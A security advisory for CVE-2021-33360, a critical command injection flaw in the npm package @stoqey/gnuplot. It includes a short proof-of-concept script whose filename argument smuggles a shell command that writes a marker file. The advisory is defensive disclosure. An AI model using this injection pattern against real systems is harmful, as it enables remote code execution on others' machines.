Disclosed vulnerabilities
CVE-2021-33360 Published: Sep 1, 2021

Command injection vulnerability in @stoqey/gnuplot

9.8 Critical Severity javascript node nodejs npm RCE
Mario Teixeira Reported by Checkmarx Zero

Summary

All versions of the NPM package @stoqey/gnuplot are vulnerable to command injection. The function plotCallack receives and executes unsanitized input that is controlled by the user.

Product

This vulnerability affects all versions of @stoqey/gnuplot.

Impact

This issue may lead to remote code execution if the method is called with malicious user input.

Steps to reproduce

  1. Create the file poc.js:
    const {plot} = require('@stoqey/gnuplot');
    plot({ 
     data: [ 1, 2, 3 ],
     filename: 'output.png"}"&echo vulnerable > result""',
     format: 'svg'
    });
  2. Run node poc.js

Expected result:

A file named result will be created with “vulnerable” written inside.

Remediation

Currently there are no fixed versions. A workaround is to avoid passing untrusted input into the vulnerable parameters when using the library.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Mário Teixeira.

Resources

  1. Vulnerable code

Stay connected and never miss a research update!